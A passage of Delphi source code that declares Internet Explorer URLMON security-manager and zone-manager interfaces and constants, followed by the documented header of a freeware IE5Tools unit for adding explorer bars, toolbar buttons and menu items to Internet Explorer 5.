['{79eac9e4-baf9-11ce-8c82-00aa004ba90b}']

function Read(pv: Pointer; cb: ULONG; out cbRead: ULONG): HResult; stdcall;

function Seek(dlibMove: LARGE_INTEGER; dwOrigin: DWORD; out libNewPosition: ULARGE_INTEGER): HResult; stdcall;

function LockRequest(dwOptions: DWORD): HResult; stdcall;

function UnlockRequest: HResult; stdcall;

end;

{$EXTERNALSYM IInternetProtocolSink}

IInternetProtocolSink = interface

['{79eac9e5-baf9-11ce-8c82-00aa004ba90b}']

function Switch(const ProtocolData: TProtocolData): HResult; stdcall;

function ReportProgress(ulStatusCode: ULONG; szStatusText: LPCWSTR): HResult; stdcall;

function ReportData(grfBSCF: DWORD; ulProgress, ulProgressMax: ULONG): HResult; stdcall;

function ReportResult(hrResult: HResult; dwError: DWORD; szResult: LPCWSTR): HResult; stdcall;

end;

{$NODEFINE TLPCWSTRArray}

TLPCWSTRArray = array[0..MaxLongInt div SizeOf(LPCWSTR) - 1] of LPCWSTR;

{$NODEFINE PLPCWSTRArray}

PLPCWSTRArray = ^TLPCWSTRArray;

{$EXTERNALSYM IInternetSession}

IInternetSession = interface

['{79eac9e7-baf9-11ce-8c82-00aa004ba90b}']

function RegisterNameSpace(CF: IClassFactory; const clsid: TCLSID; pwzProtocol: LPCWSTR;

cPatterns: ULONG; const pwzPatterns: PLPCWSTRArray; dwReserved: DWORD): HResult; stdcall;

function UnregisterNameSpace(CF: IClassFactory; pszProtocol: LPCWSTR): HResult; stdcall;

function RegisterMimeFilter(CF: IClassFactory; const rclsid: TCLSID;

pwzType: LPCWSTR): HResult; stdcall;

function UnregisterMimeFilter(CF: IClassFactory; pwzType: LPCWSTR): HResult; stdcall;

function CreateBinding(BC: IBindCtx; szUrl: LPCWSTR; UnkOuter: IUnknown; out Unk: IUnknown;

out OINetProt: IInternetProtocol; dwOption: DWORD): HResult; stdcall;

function SetSessionOption(dwOption: DWORD; pBuffer: Pointer; dwBufferLength: DWORD;

dwReserved: DWORD): HResult; stdcall;

function GetSessionOption(dwOption: DWORD; pBuffer: Pointer; var dwBufferLength: DWORD;

dwReserved: DWORD): HResult; stdcall;

end; // IInternetSession

{$EXTERNALSYM CoInternetGetSession}

function CoInternetGetSession(dwSessionMode: DWORD; var pIInternetSession: IInternetSession;

dwReserved: DWORD): HResult; stdcall;

type

{$EXTERNALSYM IInternetSecurityMgrSite}

IInternetSecurityMgrSite = interface

['{79eac9ed-baf9-11ce-8c82-00aa004ba90b}']

function GetWindow(out hwnd: HWnd): HResult; stdcall;

function EnableModeless(fEnable: BOOL): HResult; stdcall;

end;

const

{$EXTERNALSYM MAX_SIZE_SECURITY_ID}

MAX_SIZE_SECURITY_ID = 512; // bytes;

// MapUrlToZone returns the zone index given a URL

{$EXTERNALSYM PUAF_DEFAULT}

PUAF_DEFAULT = $00000000;

{$EXTERNALSYM PUAF_NOUI}

PUAF_NOUI = $00000001;

{$EXTERNALSYM PUAF_ISFILE}

PUAF_ISFILE = $00000002;

{$EXTERNALSYM PUAF_WARN_IF_DENIED}

PUAF_WARN_IF_DENIED = $00000004;

{$EXTERNALSYM PUAF_FORCEUI_FOREGROUND}

PUAF_FORCEUI_FOREGROUND = $00000008;

{$EXTERNALSYM PUAF_CHECK_TIFS}

PUAF_CHECK_TIFS = $00000010;

// This is the wrapper function that most clients will use.

// It figures out the current Policy for the passed in Action,

// and puts up UI if the current Policy indicates that the user

// should be queried. It returns back the Policy which the caller

// will use to determine if the action should be allowed

// This is the wrapper function to conveniently read a custom policy.

// SetZoneMapping

// lpszPattern: string denoting a URL pattern

// Examples of valid patterns:

// *://*.msn.com

// http://*.sony.co.jp

// *://et.msn.com

// ftp://157.54.23.41/

// https://localsvr

// file:\localsvr\share

// *://157.54.100-200.*

// Examples of invalid patterns:

// http://*.lcs.mit.edu

// ftp://*

// dwFlags: SZM_FLAGS values

{$EXTERNALSYM SZM_CREATE}

SZM_CREATE = $00000000;

{$EXTERNALSYM SZM_DELETE}

SZM_DELETE = $00000001;

type

{$EXTERNALSYM IInternetSecurityManager}

IInternetSecurityManager = interface

['{79eac9ee-baf9-11ce-8c82-00aa004ba90b}']

function SetSecuritySite(Site: IInternetSecurityMgrSite): HResult; stdcall;

function GetSecuritySite(out Site: IInternetSecurityMgrSite): HResult; stdcall;

function MapUrlToZone(pwszUrl: LPCWSTR; out dwZone: DWORD;

dwFlags: DWORD): HResult; stdcall;

function GetSecurityId(pwszUrl: LPCWSTR; pbSecurityId: Pointer;

var cbSecurityId: DWORD; dwReserved: DWORD): HResult; stdcall;

function ProcessUrlAction(pwszUrl: LPCWSTR; dwAction: DWORD;

pPolicy: Pointer; cbPolicy: DWORD; pContext: Pointer; cbContext: DWORD;

dwFlags, dwReserved: DWORD): HResult; stdcall;

function QueryCustomPolicy(pwszUrl: LPCWSTR; const guidKey: TGUID;

out pPolicy: Pointer; out cbPolicy: DWORD; pContext: Pointer; cbContext: DWORD;

dwReserved: DWORD): HResult; stdcall;

function SetZoneMapping(dwZone: DWORD; lpszPattern: LPCWSTR;

dwFlags: DWORD): HResult; stdcall;

function GetZoneMappings(dwZone: DWORD; out enumString: IEnumString;

dwFlags: DWORD): HResult; stdcall;

end;

{$EXTERNALSYM IInternetHostSecurityManager}

IInternetHostSecurityManager = interface

['{3af280b6-cb3f-11d0-891e-00c04fb6bfc4}']

function GetSecurityId(pbSecurityId: Pointer; var cbSecurityId: DWORD;

dwReserved: DWORD): HResult; stdcall;

function ProcessUrlAction(dwAction: DWORD; pPolicy: Pointer; cbPolicy: DWORD;

pContext: Pointer; cbContext, dwFlags, dwReserved: DWORD): HResult; stdcall;

function QueryCustomPolicy(const guidKey: TGUID; out pPolicy: Pointer; out cbPolicy: DWORD;

pContext: Pointer; cbContext, dwReserved: DWORD): HResult; stdcall;

end;

const

{$EXTERNALSYM URLACTION_MIN}

URLACTION_MIN = $00001000;

{$EXTERNALSYM URLACTION_DOWNLOAD_MIN}

URLACTION_DOWNLOAD_MIN = $00001000;

{$EXTERNALSYM URLACTION_DOWNLOAD_SIGNED_ACTIVEX}

URLACTION_DOWNLOAD_SIGNED_ACTIVEX = $00001001;

{$EXTERNALSYM URLACTION_DOWNLOAD_UNSIGNED_ACTIVEX}

URLACTION_DOWNLOAD_UNSIGNED_ACTIVEX = $00001004;

{$EXTERNALSYM URLACTION_DOWNLOAD_CURR_MAX}

URLACTION_DOWNLOAD_CURR_MAX = $00001004;

{$EXTERNALSYM URLACTION_DOWNLOAD_MAX}

URLACTION_DOWNLOAD_MAX = $000011FF;

{$EXTERNALSYM URLACTION_ACTIVEX_MIN}

URLACTION_ACTIVEX_MIN = $00001200;

{$EXTERNALSYM URLACTION_ACTIVEX_RUN}

URLACTION_ACTIVEX_RUN = $00001200;

{$EXTERNALSYM URLACTION_ACTIVEX_OVERRIDE_OBJECT_SAFETY}

URLACTION_ACTIVEX_OVERRIDE_OBJECT_SAFETY = $00001201; // aggregate next four

{$EXTERNALSYM URLACTION_ACTIVEX_OVERRIDE_DATA_SAFETY}

URLACTION_ACTIVEX_OVERRIDE_DATA_SAFETY = $00001202; //

{$EXTERNALSYM URLACTION_ACTIVEX_OVERRIDE_SCRIPT_SAFETY}

URLACTION_ACTIVEX_OVERRIDE_SCRIPT_SAFETY = $00001203; //

{$EXTERNALSYM URLACTION_SCRIPT_OVERRIDE_SAFETY}

URLACTION_SCRIPT_OVERRIDE_SAFETY = $00001401; //

{$EXTERNALSYM URLACTION_ACTIVEX_CONFIRM_NOOBJECTSAFETY}

URLACTION_ACTIVEX_CONFIRM_NOOBJECTSAFETY = $00001204; //

{$EXTERNALSYM URLACTION_ACTIVEX_TREATASUNTRUSTED}

URLACTION_ACTIVEX_TREATASUNTRUSTED = $00001205;

{$EXTERNALSYM URLACTION_ACTIVEX_CURR_MAX}

URLACTION_ACTIVEX_CURR_MAX = $00001205;

{$EXTERNALSYM URLACTION_ACTIVEX_MAX}

URLACTION_ACTIVEX_MAX = $000013FF;

{$EXTERNALSYM URLACTION_SCRIPT_MIN}

URLACTION_SCRIPT_MIN = $00001400;

{$EXTERNALSYM URLACTION_SCRIPT_RUN}

URLACTION_SCRIPT_RUN = $00001400;

{$EXTERNALSYM URLACTION_SCRIPT_JAVA_USE}

URLACTION_SCRIPT_JAVA_USE = $00001402;

{$EXTERNALSYM URLACTION_SCRIPT_SAFE_ACTIVEX}

URLACTION_SCRIPT_SAFE_ACTIVEX = $00001405;

{$EXTERNALSYM URLACTION_SCRIPT_CURR_MAX}

URLACTION_SCRIPT_CURR_MAX = $00001405;

{$EXTERNALSYM URLACTION_SCRIPT_MAX}

URLACTION_SCRIPT_MAX = $000015FF;

{$EXTERNALSYM URLACTION_HTML_MIN}

URLACTION_HTML_MIN = $00001600;

{$EXTERNALSYM URLACTION_HTML_SUBMIT_FORMS}

URLACTION_HTML_SUBMIT_FORMS = $00001601; // aggregate next two

{$EXTERNALSYM URLACTION_HTML_SUBMIT_FORMS_FROM}

URLACTION_HTML_SUBMIT_FORMS_FROM = $00001602; //

{$EXTERNALSYM URLACTION_HTML_SUBMIT_FORMS_TO}

URLACTION_HTML_SUBMIT_FORMS_TO = $00001603; //

{$EXTERNALSYM URLACTION_HTML_FONT_DOWNLOAD}

URLACTION_HTML_FONT_DOWNLOAD = $00001604;

{$EXTERNALSYM URLACTION_HTML_JAVA_RUN}

URLACTION_HTML_JAVA_RUN = $00001605; // derive from Java custom policy;

{$EXTERNALSYM URLACTION_HTML_CURR_MAX}

URLACTION_HTML_CURR_MAX = $00001605;

{$EXTERNALSYM URLACTION_HTML_MAX}

URLACTION_HTML_MAX = $000017FF;

{$EXTERNALSYM URLACTION_SHELL_MIN}

URLACTION_SHELL_MIN = $00001800;

{$EXTERNALSYM URLACTION_SHELL_INSTALL_DTITEMS}

URLACTION_SHELL_INSTALL_DTITEMS = $00001800;

{$EXTERNALSYM URLACTION_SHELL_MOVE_OR_COPY}

URLACTION_SHELL_MOVE_OR_COPY = $00001802;

{$EXTERNALSYM URLACTION_SHELL_FILE_DOWNLOAD}

URLACTION_SHELL_FILE_DOWNLOAD = $00001803;

{$EXTERNALSYM URLACTION_SHELL_VERB}

URLACTION_SHELL_VERB = $00001804;

{$EXTERNALSYM URLACTION_SHELL_WEBVIEW_VERB}

URLACTION_SHELL_WEBVIEW_VERB = $00001805;

{$EXTERNALSYM URLACTION_SHELL_CURR_MAX}

URLACTION_SHELL_CURR_MAX = $00001805;

{$EXTERNALSYM URLACTION_SHELL_MAX}

URLACTION_SHELL_MAX = $000019FF;

{$EXTERNALSYM URLACTION_NETWORK_MIN}

URLACTION_NETWORK_MIN = $00001A00;

{$EXTERNALSYM URLACTION_CREDENTIALS_USE}

URLACTION_CREDENTIALS_USE = $00001A00;

{$EXTERNALSYM URLPOLICY_CREDENTIALS_SILENT_LOGON_OK}

URLPOLICY_CREDENTIALS_SILENT_LOGON_OK = $00000000;

{$EXTERNALSYM URLPOLICY_CREDENTIALS_MUST_PROMPT_USER}

URLPOLICY_CREDENTIALS_MUST_PROMPT_USER = $00010000;

{$EXTERNALSYM URLPOLICY_CREDENTIALS_CONDITIONAL_PROMPT}

URLPOLICY_CREDENTIALS_CONDITIONAL_PROMPT = $00020000;

{$EXTERNALSYM URLPOLICY_CREDENTIALS_ANONYMOUS_ONLY}

URLPOLICY_CREDENTIALS_ANONYMOUS_ONLY = $00030000;

{$EXTERNALSYM URLACTION_AUTHENTICATE_CLIENT}

URLACTION_AUTHENTICATE_CLIENT = $00001A01;

{$EXTERNALSYM URLPOLICY_AUTHENTICATE_CLEARTEXT_OK}

URLPOLICY_AUTHENTICATE_CLEARTEXT_OK = $00000000;

{$EXTERNALSYM URLPOLICY_AUTHENTICATE_CHALLENGE_RESPONSE}

URLPOLICY_AUTHENTICATE_CHALLENGE_RESPONSE = $00010000;

{$EXTERNALSYM URLPOLICY_AUTHENTICATE_MUTUAL_ONLY}

URLPOLICY_AUTHENTICATE_MUTUAL_ONLY = $00030000;

{$EXTERNALSYM URLACTION_NETWORK_CURR_MAX}

URLACTION_NETWORK_CURR_MAX = $00001A01;

{$EXTERNALSYM URLACTION_NETWORK_MAX}

URLACTION_NETWORK_MAX = $00001BFF;

{$EXTERNALSYM URLACTION_JAVA_MIN}

URLACTION_JAVA_MIN = $00001C00;

{$EXTERNALSYM URLACTION_JAVA_PERMISSIONS}

URLACTION_JAVA_PERMISSIONS = $00001C00;

{$EXTERNALSYM URLPOLICY_JAVA_PROHIBIT}

URLPOLICY_JAVA_PROHIBIT = $00000000;

{$EXTERNALSYM URLPOLICY_JAVA_HIGH}

URLPOLICY_JAVA_HIGH = $00010000;

{$EXTERNALSYM URLPOLICY_JAVA_MEDIUM}

URLPOLICY_JAVA_MEDIUM = $00020000;

{$EXTERNALSYM URLPOLICY_JAVA_LOW}

URLPOLICY_JAVA_LOW = $00030000;

{$EXTERNALSYM URLPOLICY_JAVA_CUSTOM}

URLPOLICY_JAVA_CUSTOM = $00800000;

{$EXTERNALSYM URLACTION_JAVA_CURR_MAX}

URLACTION_JAVA_CURR_MAX = $00001C00;

{$EXTERNALSYM URLACTION_JAVA_MAX}

URLACTION_JAVA_MAX = $00001CFF;

// The following Infodelivery actions should have no default policies

// in the registry. They assume that no default policy means fall

// back to the global restriction. If an admin sets a policy per

// zone, then it overrides the global restriction.

{$EXTERNALSYM URLACTION_INFODELIVERY_MIN}

URLACTION_INFODELIVERY_MIN = $00001D00;

{$EXTERNALSYM URLACTION_INFODELIVERY_NO_ADDING_CHANNELS}

URLACTION_INFODELIVERY_NO_ADDING_CHANNELS = $00001D00;

{$EXTERNALSYM URLACTION_INFODELIVERY_NO_EDITING_CHANNELS}

URLACTION_INFODELIVERY_NO_EDITING_CHANNELS = $00001D01;

{$EXTERNALSYM URLACTION_INFODELIVERY_NO_REMOVING_CHANNELS}

URLACTION_INFODELIVERY_NO_REMOVING_CHANNELS = $00001D02;

{$EXTERNALSYM URLACTION_INFODELIVERY_NO_ADDING_SUBSCRIPTIONS}

URLACTION_INFODELIVERY_NO_ADDING_SUBSCRIPTIONS = $00001D03;

{$EXTERNALSYM URLACTION_INFODELIVERY_NO_EDITING_SUBSCRIPTIONS}

URLACTION_INFODELIVERY_NO_EDITING_SUBSCRIPTIONS = $00001D04;

{$EXTERNALSYM URLACTION_INFODELIVERY_NO_REMOVING_SUBSCRIPTIONS}

URLACTION_INFODELIVERY_NO_REMOVING_SUBSCRIPTIONS = $00001D05;

{$EXTERNALSYM URLACTION_INFODELIVERY_NO_CHANNEL_LOGGING}

URLACTION_INFODELIVERY_NO_CHANNEL_LOGGING = $00001D06;

{$EXTERNALSYM URLACTION_INFODELIVERY_CURR_MAX}

URLACTION_INFODELIVERY_CURR_MAX = $00001D06;

{$EXTERNALSYM URLACTION_INFODELIVERY_MAX}

URLACTION_INFODELIVERY_MAX = $00001DFF;

{$EXTERNALSYM URLACTION_CHANNEL_SOFTDIST_MIN}

URLACTION_CHANNEL_SOFTDIST_MIN = $00001E00;

{$EXTERNALSYM URLACTION_CHANNEL_SOFTDIST_PERMISSIONS}

URLACTION_CHANNEL_SOFTDIST_PERMISSIONS = $00001E05;

{$EXTERNALSYM URLPOLICY_CHANNEL_SOFTDIST_PROHIBIT}

URLPOLICY_CHANNEL_SOFTDIST_PROHIBIT = $00010000;

{$EXTERNALSYM URLPOLICY_CHANNEL_SOFTDIST_PRECACHE}

URLPOLICY_CHANNEL_SOFTDIST_PRECACHE = $00020000;

{$EXTERNALSYM URLPOLICY_CHANNEL_SOFTDIST_AUTOINSTALL}

URLPOLICY_CHANNEL_SOFTDIST_AUTOINSTALL = $00030000;

{$EXTERNALSYM URLACTION_CHANNEL_SOFTDIST_MAX}

URLACTION_CHANNEL_SOFTDIST_MAX = $00001EFF;

// For each action specified above the system maintains

// a set of policies for the action.

// The only policies supported currently are permissions (i.e. is something allowed)

// and logging status.

// IMPORTANT: If you are defining your own policies don't overload the meaning of the

// loword of the policy. You can use the hiword to store any policy bits which are only

// meaningful to your action.

// For an example of how to do this look at the URLPOLICY_JAVA above

// Permissions

{$EXTERNALSYM URLPOLICY_ALLOW}

URLPOLICY_ALLOW = $00;

{$EXTERNALSYM URLPOLICY_QUERY}

URLPOLICY_QUERY = $01;

{$EXTERNALSYM URLPOLICY_DISALLOW}

URLPOLICY_DISALLOW = $03;

// Notifications are not done when user already queried.

{$EXTERNALSYM URLPOLICY_NOTIFY_ON_ALLOW}

URLPOLICY_NOTIFY_ON_ALLOW = $10;

{$EXTERNALSYM URLPOLICY_NOTIFY_ON_DISALLOW}

URLPOLICY_NOTIFY_ON_DISALLOW = $20;

// Logging is done regardless of whether user was queried.

{$EXTERNALSYM URLPOLICY_LOG_ON_ALLOW}

URLPOLICY_LOG_ON_ALLOW = $40;

{$EXTERNALSYM URLPOLICY_LOG_ON_DISALLOW}

URLPOLICY_LOG_ON_DISALLOW = $80;

{$EXTERNALSYM URLPOLICY_MASK_PERMISSIONS}

URLPOLICY_MASK_PERMISSIONS = $0F;

// The ordinal #'s that define the predefined zones internet explorer knows about.

// When we support user-defined zones their zone numbers should be between

// URLZONE_USER_MIN and URLZONE_USER_MAX

const

{$EXTERNALSYM URLZONE_PREDEFINED_MIN}

URLZONE_PREDEFINED_MIN = 0;

{$EXTERNALSYM URLZONE_LOCAL_MACHINE}

URLZONE_LOCAL_MACHINE = 0;

{$EXTERNALSYM URLZONE_INTRANET}

URLZONE_INTRANET = URLZONE_LOCAL_MACHINE + 1;

{$EXTERNALSYM URLZONE_TRUSTED}

URLZONE_TRUSTED = URLZONE_INTRANET + 1;

{$EXTERNALSYM URLZONE_INTERNET}

URLZONE_INTERNET = URLZONE_TRUSTED + 1;

{$EXTERNALSYM URLZONE_UNTRUSTED}

URLZONE_UNTRUSTED = URLZONE_INTERNET + 1;

{$EXTERNALSYM URLZONE_PREDEFINED_MAX}

URLZONE_PREDEFINED_MAX = 999;

{$EXTERNALSYM URLZONE_USER_MIN}

URLZONE_USER_MIN = 1000;

{$EXTERNALSYM URLZONE_USER_MAX}

URLZONE_USER_MAX = 10000;

{$EXTERNALSYM URLTEMPLATE_CUSTOM}

URLTEMPLATE_CUSTOM = $00000000;

{$EXTERNALSYM URLTEMPLATE_PREDEFINED_MIN}

URLTEMPLATE_PREDEFINED_MIN = $00010000;

{$EXTERNALSYM URLTEMPLATE_LOW}

URLTEMPLATE_LOW = $00010000;

{$EXTERNALSYM URLTEMPLATE_MEDIUM}

URLTEMPLATE_MEDIUM = $00011000;

{$EXTERNALSYM URLTEMPLATE_HIGH}

URLTEMPLATE_HIGH = $00012000;

{$EXTERNALSYM URLTEMPLATE_PREDEFINED_MAX}

URLTEMPLATE_PREDEFINED_MAX = $00020000;

{$EXTERNALSYM MAX_ZONE_PATH}

MAX_ZONE_PATH = 260;

{$EXTERNALSYM MAX_ZONE_DESCRIPTION}

MAX_ZONE_DESCRIPTION = 200;

{$EXTERNALSYM ZAFLAGS_CUSTOM_EDIT}

ZAFLAGS_CUSTOM_EDIT = $00000001;

{$EXTERNALSYM ZAFLAGS_ADD_SITES}

ZAFLAGS_ADD_SITES = $00000002;

{$EXTERNALSYM ZAFLAGS_REQUIRE_VERIFICATION}

ZAFLAGS_REQUIRE_VERIFICATION = $00000004;

{$EXTERNALSYM ZAFLAGS_INCLUDE_PROXY_OVERRIDE}

ZAFLAGS_INCLUDE_PROXY_OVERRIDE = $00000008;

{$EXTERNALSYM ZAFLAGS_INCLUDE_INTRANET_SITES}

ZAFLAGS_INCLUDE_INTRANET_SITES = $00000010;

{$EXTERNALSYM ZAFLAGS_NO_UI}

ZAFLAGS_NO_UI = $00000020;

{$EXTERNALSYM ZAFLAGS_SUPPORTS_VERIFICATION}

ZAFLAGS_SUPPORTS_VERIFICATION = $00000040;

{$EXTERNALSYM ZAFLAGS_UNC_AS_INTRANET}

ZAFLAGS_UNC_AS_INTRANET = $00000080;

type

PZoneAttributes = ^TZoneAttributes;

{$EXTERNALSYM _ZONEATTRIBUTES}

_ZONEATTRIBUTES = packed record

cbSize: ULONG;

szDisplayName: array[0..260 - 1] of WideChar;

szDescription: array[0..200 - 1] of WideChar;

szIconPath: array[0..260 - 1] of WideChar;

dwTemplateMinLevel: DWORD;

dwTemplateRecommended: DWORD;

dwTemplateCurrentLevel: DWORD;

dwFlags: DWORD;

end;

TZoneAttributes = _ZONEATTRIBUTES;

{$EXTERNALSYM ZONEATTRIBUTES}

ZONEATTRIBUTES = _ZONEATTRIBUTES;

// Gets the zone attributes (information in registry other than actual security

// policies associated with the zone). Zone attributes are fixed as:

// Sets the zone attributes (information in registry other than actual security

// policies associated with the zone). Zone attributes as above.

// Returns S_OK or ??? if failed to write the zone attributes.

{ Registry Flags

When reading, default behavior is:

If HKLM allows override and HKCU value exists

Then use HKCU value

Else use HKLM value

When writing, default behavior is same as HKCU

If HKLM allows override

Then Write to HKCU

Else Fail

}

const

{$EXTERNALSYM URLZONEREG_DEFAULT}

URLZONEREG_DEFAULT = 0;

{$EXTERNALSYM URLZONEREG_HKLM}

URLZONEREG_HKLM = URLZONEREG_DEFAULT + 1;

{$EXTERNALSYM URLZONEREG_HKCU}

URLZONEREG_HKCU = URLZONEREG_HKLM + 1;

// Gets a named custom policy associated with a zone;

// e.g. the Java VM settings can be defined with a unique key such as 'Java'.

// Custom policy support is intended to allow extensibility from the predefined

// set of policies that IE4 has built in.

//

// pwszKey is the string name designating the custom policy. Components are

// responsible for having unique names.

// ppPolicy is the callee allocated buffer for the policy byte blob; caller is

// responsible for freeing this buffer eventually.

// pcbPolicy is the size of the byte blob returned.

// dwRegFlags determines how registry is accessed (see above).

// Returns S_OK if key is found and buffer allocated; ??? if key is not found (no buffer alloced).

// Sets a named custom policy associated with a zone;

// e.g. the Java VM settings can be defined with a unique key such as 'Java'.

// Custom policy support is intended to allow extensibility from the predefined

// set of policies that IE4 has built in.

//

// pwszKey is the string name designating the custom policy. Components are

// responsible for having unique names.

// ppPolicy is the caller allocated buffer for the policy byte blob.

// pcbPolicy is the size of the byte blob to be set.

// dwRegFlags determines if HTCU or HKLM is set.

// Returns S_OK or ??? if failed to write the zone custom policy.

// Gets action policy associated with a zone, the builtin, fixed-length policies info.

// dwAction is the action code for the action as defined above.

// pPolicy is the caller allocated buffer for the policy data.

// cbPolicy is the size of the caller allocated buffer.

// dwRegFlags determines how registry is accessed (see above).

// Returns S_OK if action is valid; ??? if action is not valid.

type

{$EXTERNALSYM IInternetZoneManager}

IInternetZoneManager = interface

['{79eac9ef-baf9-11ce-8c82-00aa004ba90b}']

// Gets the zone attributes (information in registry other than actual security

// policies associated with the zone). Zone attributes are fixed as:

function GetZoneAttributes(dwZone: DWORD;

var ZoneAttributes: TZoneAttributes): HResult; stdcall;

// Sets the zone attributes (information in registry other than actual security

// policies associated with the zone). Zone attributes as above.

// Returns S_OK or ??? if failed to write the zone attributes.

function SetZoneAttributes(dwZone: DWORD;

const ZoneAttributes: TZoneAttributes): HResult; stdcall;

function GetZoneCustomPolicy(dwZone: DWORD; const guidKey: TGUID; out pPolicy: Pointer;

out cbPolicy: DWORD; urlZoneReg: TUrlZoneReg): HResult; stdcall;

function SetZoneCustomPolicy(dwZone: DWORD; const guidKey: TGUID; pPolicy: Pointer;

cbPolicy: DWORD; urlZoneReg: TUrlZoneReg): HResult; stdcall;

function GetZoneActionPolicy(dwZone, dwAction: DWORD; pPolicy: Pointer;

cbPolicy: DWORD; urlZoneReg: TUrlZoneReg): HResult; stdcall;

function SetZoneActionPolicy(dwZone, dwAction: DWORD; pPolicy: Pointer;

cbPolicy: DWORD; urlZoneReg: TUrlZoneReg): HResult; stdcall;

function PromptAction(dwAction: DWORD; hwndParent: HWnd; pwszUrl, pwszText: LPCWSTR;

dwPromptFlags: DWORD): HResult; stdcall;

function LogAction(dwAction: DWORD; pwszUrl, pwszText: LPCWSTR;

dwLogFlags: DWORD): HResult; stdcall;

function CreateZoneEnumerator(out dwEnum, dwCount: DWORD;

dwFlags: DWORD): HResult; stdcall;

function GetZoneAt(dwEnum, dwIndex: DWORD; out dwZone: DWORD): HResult; stdcall;

function DestroyZoneEnumerator(dwEnum: DWORD): HResult; stdcall;

function CopyTemplatePoliciesToZone(dwTemplate, dwZone, dwReserved: DWORD): HResult; stdcall;

end;

// Creates the security manager object. The first argument is the Service provider

// to allow for delegation

{$EXTERNALSYM CoInternetCreateSecurityManager}

function CoInternetCreateSecurityManager(SP: IServiceProvider; var SM: IInternetSecurityManager;

dwReserved: DWORD): HResult; stdcall;

{$EXTERNALSYM CoInternetCreateZoneManager}

function CoInternetCreateZoneManager(SP: IServiceProvider; var ZM: IInternetZoneManager;

dwReserved: DWORD): HResult; stdcall;

{$ENDIF}

function SHLockShared(Handle: THandle; DWord: DWORD): Pointer; stdcall;

function SHUnlockShared(Pnt: Pointer): BOOL; stdcall;

function SHFreeShared(Handle: THandle; DWord: DWORD): Pointer; stdcall;

function Free(Pidl: PItemIDList): BOOL; stdcall;

function HtmlHelp(hwndCaller: HWND; pszFile: PChar; uCommand: Integer;

dwData: DWORD): HWND; stdcall;

implementation

const

urldll = 'url.dll';

function InetIsOffline; external urldll name 'InetIsOffline';

function MIMEAssociationDialogW; external urldll name 'MIMEAssociationDialogW';

function MIMEAssociationDialogA; external urldll name 'MIMEAssociationDialogA';

{$IFDEF UNICODE}

function MIMEAssociationDialog; external urldll name 'MIMEAssociationDialogW';

{$ELSE}

function MIMEAssociationDialog; external urldll name 'MIMEAssociationDialogA';

{$ENDIF}

function URLAssociationDialogW; external urldll name 'URLAssociationDialogW';

function URLAssociationDialogA; external urldll name 'URLAssociationDialogA';

{$IFDEF UNICODE}

function URLAssociationDialog; external urldll name 'URLAssociationDialogW';

{$ELSE}

function URLAssociationDialog; external urldll name 'URLAssociationDialogA';

{$ENDIF}

function TranslateURLA; external urldll name 'TranslateURLA';

function TranslateURLW; external urldll name 'TranslateURLW';

{$IFDEF UNICODE}

function TranslateURL; external urldll name 'TranslateURLW';

{$ELSE}

function TranslateURL; external urldll name 'TranslateURLA';

{$ENDIF}

{$IFDEF VER120}

const

UrlMonLib = 'URLMON.DLL';

function CoInternetGetSession; external UrlMonLib name 'CoInternetGetSession';

function CoInternetCreateSecurityManager; external UrlMonLib name 'CoInternetCreateSecurityManager';

function CoInternetCreateZoneManager; external UrlMonLib name 'CoInternetCreateZoneManager';

{$ENDIF}

function HtmlHelp(hwndCaller: HWND; pszFile: PChar; uCommand: Integer;

dwData: DWORD): HWND; stdcall; external 'hhctrl.ocx' name 'HtmlHelpA';

function SHLockShared; external 'shell32.dll' index 521;

function SHUnlockShared; external 'shell32.dll' index 522;

function SHFreeShared; external 'shell32.dll' index 523;

function Free; external 'comctl32.dll' index 73;

end.


IE5Tools.Pas

{********************************************}

{ IE5Tools }

{ ver. 1.1 }

{ FREEWARE }

{ }

{ by Per Linds?Larsen }

{ per.lindsoe@larsen.dk }

{ }

{ }

{ UPDATES: }

{ http://www.euromind.com/iedelphi }

{ http://www.intelligo.net/iedelphi }

{ }

{********************************************}

unit IE5Tools;

interface

uses

ActiveX, ComObj, Registry, Windows, MESSAGES;

const

M_Default = 1;

M_Images = 2;

M_Controls = 4;

M_Tables = 8;

M_TextSelection = 10;

M_Anchor = 20;

CMD_SET = 0;

CMD_SAVE = 1;

CMD_RESTORE = 2;

CMD_DELETE = -1;

type

TConnType = (COM_OBJECT, EXPLORER_BAR, SCRIPT, EXECUTABLE);

{

Function AddExplorerBar(

Create Explorerbar in Internet Explorer 5.

Title : Menutitle to appear in View->Explorer Bars

Url : Html-file to display in Explorer-bar

BarSize: Size of Explorer Bar in pixels. Often used values

are 190-220 for Vertical and 40-50 for horizontal bars.

Vertical: Set TRUE for vertical and FALSE for horizontal.

Return: GUID;

Function AddToolbarBtn

Create Toolbar Button in Internet Explorer 5.

Visible: Set TRUE if Button should be Visible as default.

NOTE: If the user has customized the toolbar, the button will

not appear on the toolbar automatically. The toolbar button

will be added to the choices in the Customize Toolbar

dialog box and will appear if the toolbar is reset.

ConnType: COM_OBJECT: If button implement Com Object.

EXECUTABLE: If button run executable file.

EXPLORER_BAR: If button opens explorer bar

SCRIPT: If button runs a script.

BtnText : Text to display on Button

HotIcon : Icon when button is highlighted.

Icon: Grayed icon.

GuidOrPath: If COM_OBJECT or EXPLORER_BAR: Enter the Guid for the registered

Com Object or for the Explorer Bar.

If EXECUTABLE or SCRIPT: Enter the full path for the exe-file

or script.

return: GUID;

function AddMenuItem

ConnType: (See IE5_ToolbarBtn).

MenuText: Text to appear in menu.

StatusBarText: Text to appear in Statusbar when Menuitem is highlighted.

GuidOrPath: (See IE5_ToolbarBtn).

HelpMenu: TRUE to place item in Help-menu, FALSE to place it in Tools-menu.

Return: GUID;

Function RemoveMenuItem

MenuText: MenuText of MenuItem to be removed.

Return: TRUE if succesfully removed.

Function RemoveToolbarBtn

BtnText: Text on the button to be removed.

Return: TRUE if succesfully removed.

Function RemoveExplorerBar

Title: Title for Explorer bar to be removed.

Return: TRUE if succesfully removed.

NB: You can only use the last three functions to remove Menuitems, ExplorerBars

or Toolbar Buttons created with this unit.

Example:

var

S : String;

begin

S:=AddExplorerBar('My Page', 'http://www.somewhere.com/mypage.htm', 200,TRUE);

AddToolbarBtn(TRUE,EXPLORER_BAR,'Private','light.ico','gray.ico',S);

end;

Will create a horizontal Explorer-Bar (200 pixel width) and add 'My Page' to

View->Explorer Bars. A toolbar button to active the Explorer-bar is also added.

To Remove it all:

begin

RemoveExplorerBar('My Page');

RemoveToolbarBtn('Private');

end;

Related LINK:

http://msdn.microsoft.com/workshop/browser/ext/overview/overview.asp

}

function AddExplorerBar(Title, Url: string; BarSize: Int64; Vertical: Boolean): string;

